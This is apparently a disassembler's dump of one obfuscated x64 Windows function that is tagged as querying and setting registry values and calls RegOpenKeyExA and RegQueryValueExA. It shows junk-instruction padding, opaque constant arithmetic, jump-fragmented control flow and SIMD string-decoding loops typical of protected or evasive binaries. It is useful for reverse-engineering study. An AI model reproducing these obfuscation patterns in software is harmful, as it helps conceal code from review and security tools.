Function at 0x1400248b0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
xchg r9, rsp
mov r11, r9
xchg rsp, r9
mov qword [r11 + 0x10], rbx
xchg rsp, rsp
jmp 0x140024b8e
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x140024dbe
xchg rbp, rbp
cmp r8d, 0x43
jge 0x140024c39
jmp 0x140024cf6
cmp edi, 2
mov dword [rsp - 0x34], ebp
jl 0x140025050
movdqa xmm0, xmmword [0x14010c310]
lea rcx, [rsp + 0x44]
jmp 0x140024cb4
xchg rsp, rdi
je 0x1400251d8
mov r8d, ebx
jmp 0x1400248e6
xchg r14, rsp
movdqa xmmword [r14 + 0x30], xmm0
xchg r14, rsp
mov r8d, dword [rsp + 0x30]
movd xmm6, r14d
jmp 0x140024b13
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x40], edx
movd xmm0, r8d
jmp 0x140024ffe
xchg r14, r14
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x140024e6b
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
jmp 0x140024a81
movups xmmword [rbx + 0x40], xmm0
xchg rbx, rsp
pushf
mov dword [rbp + 8], 0x3a294550
xor dword [rbp + 8], 0x47336484
jmp 0x140024bd9
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140024fb1
xor r9d, 0x6ba6e53e
add r9d, 0x57c91312
xor r9d, 0x804309c
add r9d, 0x7bbb354
jmp 0x140024c93
sub edx, 0x2676e98
add edx, 0x2676ea0
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
xchg r10, r10
jmp 0x140024ad2
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
mov dword [rsp - 0x40], 0x5f3a603f
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
mov r12, r12
jmp 0x1400248c5
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xchg rsi, rsi
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
mov dword [rsp - 0x28], ebp
jmp 0x140024b83
mov rbx, rbx
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
jmp 0x140024a9b
movaps xmmword [rcx + 0x120], xmm9
xchg rcx, rsp
mov r9d, 0x67e40c21
jmp 0x14002499e
mov word [rbp - 0x80], ax
movzx eax, byte [0x14010ca02]
xchg r10, rsp
jmp 0x140024df3
xchg rdx, rdx
movups xmm0, xmmword [0x14010c9e0]
xor sil, sil
xchg rsi, rsp
movups xmmword [rsi + 0x50], xmm1
jmp 0x140024d23
movdqa xmm0, xmm1
mov rsi, rsi
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140024949
psrad xmm1, xmm6
mov dword [rsp - 0x3c], ebx
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140024c14
xchg r13, r13
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
mov rdi, rdi
jmp 0x140024c6b
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x28], ebx
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140024ea0
xchg rsi, rsi
mov qword [r11 + 8], rsi
lea r14d, [rbx + 5]
xchg rbp, rsp
movups xmmword [rbp + 0x40], xmm0
xchg rsp, rbp
lea r15d, [rbx + 0x1f]
jmp 0x140024a68
xchg r11, r11
movd xmm8, r15d
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
jmp 0x140024b73
add eax, 0x6b8d3a2d
sub eax, 0x2714ef6d
add eax, 0x57edacb8
lea r9, [r9 + 1]
jmp 0x140025017
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d430]
mov r12, r12
movdqa xmm7, xmmword [str.3333]
xchg rsp, r11
jmp 0x140024fec
xchg rdi, rdi
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
jmp 0x140024e45
jl 0x140024b2a
jmp 0x1400251d8
xchg r9, rdi
mov qword [r11 + 0x18], r9
xchg r9, rdi
nop
jmp 0x140024dcc
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
mov r10, r10
pand xmm2, xmmword [0x14010c300]
jmp 0x140024d52
mov dword [rsp - 0xc], esi
cmp edi, 2
jl 0x140024cf6
movdqa xmm0, xmmword [0x14010c310]
mov dword [rsp - 0x28], 0x389d32fd
jmp 0x140024b4b
xor dword [rbp + 8], 0x70402130
xor dword [rbp + 8], 0x66d55e57
add dword [rbp + 8], 0xe748024
xor dword [rbp + 8], 0x76fc193f
jmp 0x140024f94
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
mov dword [rsp - 0xc], 0x4b99dc42
punpckldq xmm1, xmm2
jmp 0x140024edd
pmulld xmm0, xmm7
mov dword [rsp - 0x10], ebx
psubd xmm3, xmm0
jmp 0x140024931
add al, 0x2b
xor byte [r9 - 1], al
cmp r8d, 0x43
xchg rcx, rcx
jl 0x140024f80
lea rax, [rbp - 0x10]
xchg rsp, rcx
jmp 0x140024a3f
pxor xmm2, xmm0
xchg rbp, rbp
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x28], 0x3f102d26
jmp 0x14002495a
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
jmp 0x140024c7d
mov dword [rsp - 0x10], esp
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x140024a2a
sub r9d, 0x62d488ef
xor r9d, 0x7efbd358
sub r9d, 0x29dbb9b
xor r9d, 0x6b606890
jmp 0x140024dda
mov dword [rsp - 0x1c], 0x2280f158
movdqa xmm5, xmmword [0x14010c2c0]
mov edx, ebx
movdqa xmm4, xmmword [0x14010d430]
mov dword [rsp - 0x24], ebp
movdqa xmm7, xmmword [str.3333]
jmp 0x140024916
shr eax, 0x1d
shr eax, 1
shr eax, 1
add edx, eax
mov r11, r11
movsx eax, dl
imul ecx, eax, 0x33
jmp 0x140024e0d
movsxd rax, r8d
lea r9, [rsp + 0x40]
mov dword [rsp - 0x44], edi
jmp 0x140024f79
lea rdx, [rsp + 0x40]
nop
movabs rcx, 0xffffffff221006a5
xor rcx, 0x130eebe1
jmp 0x140024f23
xchg rsp, rsi
movups xmm1, xmmword [0x14010c9f0]
mov rbp, rbp
jmp 0x140024a55
xchg rbp, rbp
xchg r10, r11
movaps xmmword [r10 - 0x48], xmm8
xchg r11, r10
mov rax, qword [0x140248220]
xor rax, rsp
jmp 0x140024eb2
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
xchg r14, r14
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
jmp 0x140024c45
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
mov dword [rsp - 0x2c], esp
pmuldq xmm0, xmm4
nop
jmp 0x1400249bf
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
jmp 0x140024ab5
movd xmm6, r14d
movd xmm8, r15d
mov dword [rsp - 0x44], edi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
jmp 0x14002502f
sub rsp, 8
mov qword [rsp], rbp
nop
jmp 0x140024f65
xchg rdx, rax
mov qword [rsp + 0x20], rdx
xchg rdx, rax
xor r8d, r8d
mov dword [rsp - 0x24], 0x4203baa3
jmp 0x140024d07
movups xmmword [r10 + 0x60], xmm0
xchg rsp, r10
xchg rbx, rsp
movups xmmword [rbx + 0x70], xmm1
xchg rbx, rsp
mov byte [rbp - 0x7e], al
jmp 0x140024bb7
movzx eax, r8b
xchg rdi, rdi
inc r8d
sub al, cl
sub al, 0xf9
jmp 0x140024c26
mov dword [rsp - 0x30], 0x2c6c7c87
sub rsp, 0x9255980
add rsp, 0x9255820
movaps xmmword [r11 - 0x28], xmm6
movaps xmmword [r11 - 0x38], xmm7
jmp 0x140024d35
lea rcx, [rcx + 8]
mov dword [rsp - 0x2c], 0x5e25c5bd
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
mov dword [rsp - 0x20], esp
jmp 0x140024d74
pshufhw xmm1, xmm0, 0xd8
xchg rsi, rsi
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
jmp 0x1400249e0
mov r14, r14
movups xmm1, xmmword [0x14010c9d0]
mov r8d, ebx
movzx eax, word [0x14010ca00]
mov edi, dword [0x140248200]
jmp 0x140024af5
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov r8, r8
jmp 0x140024d93
mov dword [rsp - 0xc], 0x373c4281
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [0x14010c9c0]
xor ebx, ebx
jmp 0x140024e81
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x20], esp
jmp 0x140024987
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
mov dword [rsp - 0x14], ebx
pmuldq xmm0, xmm4
sub r8d, 0xfffffff8
jmp 0x140024f4b
cmp byte [0x14010ca1f], bl
movups xmm0, xmmword [0x14010ca08]
mov dword [rsp - 0x44], 0x497ad11f
mov dword [rbp], ebx
movsd xmm1, qword [str.467__ItVUACE_j_OHTPX3]
xchg rbx, rsp
jmp 0x14002496b
add rcx, 0xde8a75a
add rcx, 0x1e376f4d
sub rcx, 0x3a05d118
add rcx, 0x4c233812
xor rcx, 0x4ec2f7fb
jmp 0x140024fc3
pmuldq xmm1, xmm4
mov dword [rsp - 0x10], 0x28d47d63
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
jmp 0x140024ecc
mov qword [rsp - 8], r14
sub rsp, 8
push r15
lea rbp, [r11 - 0x78]
jmp 0x140024e20
add r9, rax
nop dword [rax]
mov eax, 0x229e696e
add eax, 0xe62f20
sub eax, 0x1f49ef65
jmp 0x140024b33
add dword [rbp + 8], 0x5d331a91
xor dword [rbp + 8], 0x6a32e27d
popf
xchg rdi, rsp
movsd qword [rdi + 0x50], xmm1
jmp 0x140024905
mov r9, r9
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x140024b9e
add rcx, 0x3512146c
add rcx, 0x294f4e78
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov dword [rsp - 0x40], 0x7affc83c
jne 0x14002692f
jmp 0x140024efb
movdqa xmmword [r11 + 0x30], xmm0
xchg r11, rsp
mov edx, dword [rsp + 0x30]
jmp 0x140024da9
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
xchg rsp, rsp
packuswb xmm2, xmm2
jmp 0x140024a09
imul r8d
add edx, r8d
mov rbp, rbp
sar edx, 4
sar edx, 1
mov eax, edx
mov r8, r8
jmp 0x140024cdf
mov dword [rsp - 0x2c], 0x19013ff3
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
xchg rsi, rsi
movd xmm3, eax
jmp 0x140024bfa
lea r9, [rsp + 0x40]
mov eax, 0x5a0be078
add eax, 0xd561dec
sub eax, 0x39723b0b
jmp 0x140025390
mov dword [rsp - 0x14], 0x47e477d6
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x1400252b6
nop dword [rax + rax]
mov dword [rsp - 0x44], 0x6e0a140d
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
jmp 0x140025069
xchg rbx, rax
lea rdx, [rsp + 0x40]
lea rax, [rbp]
jmp 0x1400251a0
pxor xmm2, xmm0
mov dword [rsp - 0x24], 0x49f5c669
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x14002508e
mov dword [rsp - 0x20], 0x63a62d98
jmp 0x1400252e1
pand xmm2, xmmword [0x14010c300]
mov rsi, rsi
packuswb xmm2, xmm2
jmp 0x140025282
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x3c], edi
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
jmp 0x1400250da
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
xchg r13, r13
jmp 0x1400252e6
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x14], ebx
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140025259
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x14], 0x38136263
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x1400250ee
mov dword [rsp - 0x30], 0x167b475d
movdqa xmm0, xmmword [0x14010c310]
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
mov edx, ebx
mov dword [rsp - 0x1c], ecx
jmp 0x14002536c
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov r11, r11
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
jmp 0x1400250b3
xor r9d, r9d
mov dword [rsp - 0x40], ecx
xor r8d, r8d
xchg r12, rax
mov qword [rsp + 0x20], r12
xchg r12, rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
jmp 0x140025344
je 0x14002589a
mov rsp, rsp
mov r8d, ebx
cmp edi, 2
jl 0x140025400
jmp 0x140025156
xchg rcx, rsi
mov rsi, qword [rbp - 0x10]
xchg rsi, rcx
lea rax, [rbp + 8]
xchg rbx, rax
mov qword [rsp + 0x28], rbx
jmp 0x1400250a3
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
xchg rsi, rsi
punpckhdq xmm0, xmm3
jmp 0x14002520f
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
mov r15, r15
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
jmp 0x14002511d
xchg rsp, rsi
xchg rsp, r14
movsd qword [r14 + 0x50], xmm1
xchg r14, rsp
jmp 0x1400251be
movups xmm0, xmmword [0x14010ca20]
pushf
mov dword [rbp], 0x2c5e9d81
sub dword [rbp], 0x135b8e23
jmp 0x1400253b3
pmulld xmm0, xmm7
mov dword [rsp - 0x18], esi
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x38], 0x47e33916
movd xmm0, r8d
jmp 0x14002517e
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
mov dword [rsp - 0x44], 0x2c7dc794
jmp 0x1400251f2
popf
movsd xmm1, qword [str.467__It]
xchg r12, r12
xchg rsp, rsi
movups xmmword [rsi + 0x40], xmm0
jmp 0x140025229
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
xchg r10, r10
jmp 0x140025105
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x44], ebp
psrld xmm0, xmm8
jmp 0x140025137
jmp 0x14002589a
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
mov dword [rsp - 0x28], edx
shufps xmm1, xmm0, 0xdd
jmp 0x1400252c7
neg al
add al, 0xce
neg al
xor byte [r9 - 1], al
xchg r8, r8
cmp r8d, 0x18
jl 0x140025055
jmp 0x1400251d8
movd xmm6, r14d
movd xmm8, r15d
nop dword [rax]
jmp 0x14002507e
mov dword [rsp - 0x10], edi
movzx eax, r8b
inc r8d
sub al, cl
xchg r13, r13
jmp 0x140025300
test eax, eax
mov dword [rsp - 0x2c], 0x67655f46
jne 0x140025361
cmp dword [rbp], 3
je 0x140026236
xchg r13, r13
cmp byte [0x14010ca37], bl
jmp 0x14002523d
movdqa xmm4, xmmword [0x14010d430]
movdqa xmm7, xmmword [str.3333]
movdqa xmmword [rsp + 0x30], xmm0
mov r8d, dword [rsp + 0x30]
mov dword [rsp - 0x30], ecx
jmp 0x14002531c
add eax, 0x88a8f00
xor eax, 0x72a88a96
add eax, 0x224358db
sub eax, 0x8c92f07
sub eax, 0x1a981150
xor eax, 0xe31451f2
jmp 0x1400253e9
xor dword [rbp], 0x4e469d14
add dword [rbp], 0x122b8e99
sub dword [rbp], 0x129ff375
xor dword [rbp], 0x65593c7
add dword [rbp], 0x5f08b4a
add dword [rbp], 0x64acfb7
sub dword [rbp], 0x5cc019a7
jmp 0x14002529d
lea r9, [r9 + 1]
mul r8d
shr edx, 4
shr edx, 1
movsx eax, dl
imul ecx, eax, 0x33
jmp 0x14002532f
lea r9, [rsp + 0x40]
mov eax, 0x41d89e7c
xor eax, 0xe1c1a27
sub eax, 0x3448a247
xor eax, 0x6d5e385e
xor eax, 0x24b9d0b0
xor eax, 0x673aa4eb
jmp 0x140025bed
xor dword [rbp - 8], 0x5a78fdec
sub dword [rbp - 8], 0x7d46ae3
add dword [rbp - 8], 0x1f93a6b0
xor dword [rbp - 8], 0x495bb0f0
add dword [rbp - 8], 0x2a60854
jmp 0x1400254ca
jl 0x140026510
movdqa xmm5, xmmword [0x14010c2c0]
lea rcx, [rsp + 0x40]
jmp 0x140025bc6
xor dword [rsp + 0x28], 0x4f30813c
xor dword [rsp + 0x28], 0x2bc52965
xor dword [rsp + 0x28], 0x112fe7b1
jmp 0x140025f99
lea rax, [rbp - 0x10]
mov r9d, 0x617d6347
add r9d, 0x17c4498f
xor r9d, 0x574e6e51
jmp 0x1400266e5
add r9d, 0xe19c96b
xor r9d, 0x7cab2a58
xor r9d, 0x3f0a1e97
xor r9d, 0x154a1eff
sub r9d, 0x301e9423
jmp 0x1400265fc
add dword [rbp - 8], 0x2560bfed
sub dword [rbp - 8], 0x4761744c
popf
movsd qword [rsp + 0x50], xmm1
mov dword [rsp - 0x20], 0x7902bc3f
jmp 0x1400263f0
jl 0x14002571d
cmp r8d, 0x57
jge 0x140025485
movsxd rax, r8d
jmp 0x140026695
mov r13, r13
cmp edi, 2
jl 0x140026a95
movdqa xmm2, xmmword [0x14010c2c0]
mov dword [rsp - 0x28], 0x23e69d6b
movdqa xmm3, xmmword [0x14010c2d0]
movdqa xmm1, xmm2
jmp 0x14002665e
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x24], edx
paddd xmm1, xmm2
jmp 0x140025f1a
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
paddb xmm2, xmm0
mov dword [rsp - 0x40], 0xc6acc95
movd xmm0, dword [rcx - 8]
jmp 0x140025e83
shr eax, 1
add edx, eax
xchg r13, r13
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
xchg r12, r12
jmp 0x140025ea3
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
xchg rsp, rsp
jmp 0x1400257b7
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x140026913
xchg r14, r14
cmp r8d, 0x1b
jmp 0x140025d6b
punpckldq xmm1, xmm3
mov dword [rsp - 0x3c], ecx
pmuldq xmm1, xmm4
movd dword [rbp], xmm2
shufps xmm1, xmm0, 0xdd
jmp 0x140025cf7
sar edx, 1
mov eax, edx
mov dword [rsp - 0x10], 0x20d67739
shr eax, 0xb
shr eax, 3
shr eax, 3
jmp 0x14002681d
mov eax, 0x413c1e6c
sub eax, 0x616a1fc
sub eax, 0x2990f1e5
add eax, 0x43012105
jmp 0x140025f64
xchg r8, rsp
movups xmmword [r8 + 0x60], xmm0
xchg rsp, r8
cmp edi, 2
xchg r9, r9
jmp 0x140026948
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
mov r8, r8
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x50
mov dword [rsp - 0x38], 0x3ca1e89c
jmp 0x1400254ed
cmp edi, 2
jl 0x1400262cc
movdqa xmm0, xmmword [0x14010c310]
mov dword [rsp - 0x10], edx
lea rcx, [rsp + 0x44]
jmp 0x14002586e
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
mov rcx, rcx
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
jmp 0x140025aea
add dword [rbp + 8], 0xf0fae39
sub dword [rbp + 8], 0x7e171c93
popf
xchg rdi, rsp
movsd qword [rdi + 0x50], xmm1
jmp 0x140025fe7
xchg rbp, rbp
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
mov dword [rsp - 0x38], ebx
movdqa xmm1, xmm2
jmp 0x14002613d
lea rcx, [rcx + 8]
mov dword [rsp - 0x10], 0x1028fd71
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
xchg r15, r15
jmp 0x140025ee0
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
mov dword [rsp - 0x30], 0x2ce3f6f0
pmuldq xmm1, xmm4
jmp 0x140025b2a
jne 0x140027c56
cmp byte [0x14010cb4f], bl
mov rbx, rbx
mov rax, qword [str.w_UWZR9w_UWZR9t]
mov qword [rbp], rax
mov dword [rbp - 8], ebx
jmp 0x1400267d9
movd xmm8, r15d
nop dword [rax]
movd xmm2, r8d
mov r12, r12
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
jmp 0x1400256b3
cmp r8d, 0x1c
jl 0x140026789
mov rcx, qword [rbp - 0x10]
mov dword [rsp - 0x10], esi
lea rax, [rbp + 8]
jmp 0x140026406
je 0x14002691d
cmp byte [0x14010caab], bl
movups xmm0, xmmword [str.tVUACE_j_OHTPX3]
xchg r14, r14
mov eax, dword [str.8M]
movsd xmm1, qword [str.467__]
jmp 0x140026009
mov dword [rsp - 0x24], 0xb5b306a
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x140025fd1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
mov dword [rsp - 0x20], 0x53904a76
jmp 0x140025cc0
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov r15, r15
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140025c38
pmulld xmm0, xmm7
mov dword [rsp - 0x10], ebp
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x1400261cb
movq xmm0, qword [rcx - 0x10]
mov dword [rsp - 0xc], 0x5a424f3c
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
jmp 0x140025691
xchg r10, r10
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
jmp 0x1400255af
add rcx, 0x1fdfb7ac
add rcx, 0x2af39618
xor rcx, 0x250fffb0
sub rcx, 0x8bbdb4d
sub rcx, 0xbfe082a
add rcx, 0x1a7a65f0
jmp 0x140025e6e
mov dword [rsp - 0x34], esi
imul ecx, eax, 0x33
movzx eax, r8w
inc r8d
sub ax, cx
jmp 0x140026076
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d430]
mov r11, r11
movdqa xmm7, xmmword [str.3333]
movdqa xmmword [rsp + 0x30], xmm0
jmp 0x14002625a
jl 0x140025405
mov rcx, qword [rbp - 0x10]
mov dword [rsp - 0x24], 0x46024644
lea rax, [rbp]
jmp 0x1400269ab
xor byte [r9 - 1], al
mov r14, r14
cmp r8d, 0x18
jmp 0x140025894
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
xchg rbx, rbx
pmuldq xmm0, xmm4
jmp 0x14002667c
xor dword [rsp + 0x28], 0x700a2a8f
xor dword [rsp + 0x28], 0x16b8b86b
lea rdx, [rsp + 0x40]
mov r9d, 0x31ef321f
xor r9d, 0x24ec0c03
add r9d, 0x5ca834d8
xor r9d, 0x42ee0368
jmp 0x1400265a9
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
mov dword [rsp - 0x30], 0x3df7608a
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x1400260ee
sub al, 0xee
add al, 0x20
xor byte [r9 - 1], al
mov rcx, rcx
jmp 0x140025733
movdqa xmm5, xmmword [0x14010c2c0]
xchg r8, r8
movdqa xmm4, xmmword [0x14010d430]
movdqa xmm7, xmmword [str.3333]
xchg r15, rsp
movdqa xmmword [r15 + 0x30], xmm0
xchg r15, rsp
jmp 0x140025a0a
paddd xmm1, xmm2
mov dword [rsp - 0x28], 0x60feafff
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x3c], 0x3a30a249
jmp 0x140025797
inc r8d
sub ax, cx
mov dword [rsp - 0xc], 0x610cf8b7
sub ax, 0x38e8
jmp 0x140026098
mov dword [rsp - 0x10], 0x4129a0fe
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
mov r14, r14
pmuldq xmm0, xmm4
jmp 0x140025583
xchg rdi, rsp
movups xmmword [rdi + 0x60], xmm0
xchg rsp, rdi
movups xmm0, xmmword [0x14010cb30]
xchg rbp, rbp
movups xmmword [rsp + 0x50], xmm1
jmp 0x140026492
mov dword [rsp - 0x18], 0x1c3165e3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
jmp 0x140025c76
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
mov dword [rsp - 0x14], 0x227d00dd
jmp 0x140025715
movd xmm1, dword [rbp]
packuswb xmm2, xmm2
mov dword [rsp - 0x28], 0x58421dfc
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
jmp 0x140025814
jl 0x1400267b3
mov dword [rsp - 0x10], 0x4938f571
cmp r8d, 0x1c
jge 0x1400263c2
jmp 0x1400262cc
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.3333]
jmp 0x140025777
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x44], 0x57fc0ebf
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
jmp 0x140025ba8
paddd xmm1, xmm2
psrad xmm1, xmm6
mov dword [rsp - 0x10], edi
jmp 0x140025ad8
mov eax, dword [0x14010ca68]
mov r8d, ebx
mov dword [rsp + 0x70], eax
mov dword [rsp - 0x3c], ecx
movzx eax, word [0x14010ca6c]
mov word [rsp + 0x74], ax
jmp 0x140026419
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x1400257d9
paddw xmm3, xmm2
pxor xmm3, xmm0
mov rcx, rcx
jmp 0x140025594
pshuflw xmm0, xmm3, 0xd8
xchg r15, r15
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
jmp 0x140026992
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
xchg r8, r8
paddd xmm1, xmm3
jmp 0x1400260c7
movd xmm6, r14d
movd xmm5, r15d
xchg rbx, rbx
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
mov rsp, rsp
jmp 0x140025e48
mov dword [rsp - 0x2c], edi
movdqa xmm7, xmmword [str.3333]
movdqa xmmword [rsp + 0x30], xmm0
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
jmp 0x140026968
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
jmp 0x1400259a8
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x44], 0x33252066
jmp 0x140026156
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
jmp 0x1400263ca
packuswb xmm2, xmm2
mov dword [rsp - 0x3c], ecx
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
jmp 0x140026a4a
movdqa xmm4, xmmword [0x14010d430]
mov dword [rsp - 0x1c], ebp
movdqa xmm7, xmmword [str.3333]
movdqa xmm9, xmmword [0x14010c2f0]
movd xmm6, r14d
jmp 0x140025d2a
xor eax, 0x550d5205
add eax, 0x3ff4a48d
lea r9, [r9 + 1]
mul r8d
mov dword [rsp - 0x24], esi
shr edx, 2
jmp 0x14002651d
neg r8d
add r8d, 0xfffffff8
neg r8d
movdqa xmm1, xmm2
jmp 0x1400259ec
mov r8d, ebx
mov dword [rsp + 0x70], eax
xchg rsi, rsi
movzx eax, word [0x14010cae4]
mov word [rsp + 0x74], ax
jmp 0x140026833
xchg rdx, rdx
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x14002657f
imul r8d
add edx, r8d
sar edx, 1
sar edx, 2
sar edx, 2
jmp 0x140026806
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
mov dword [rsp - 0x30], 0x4dfbd331
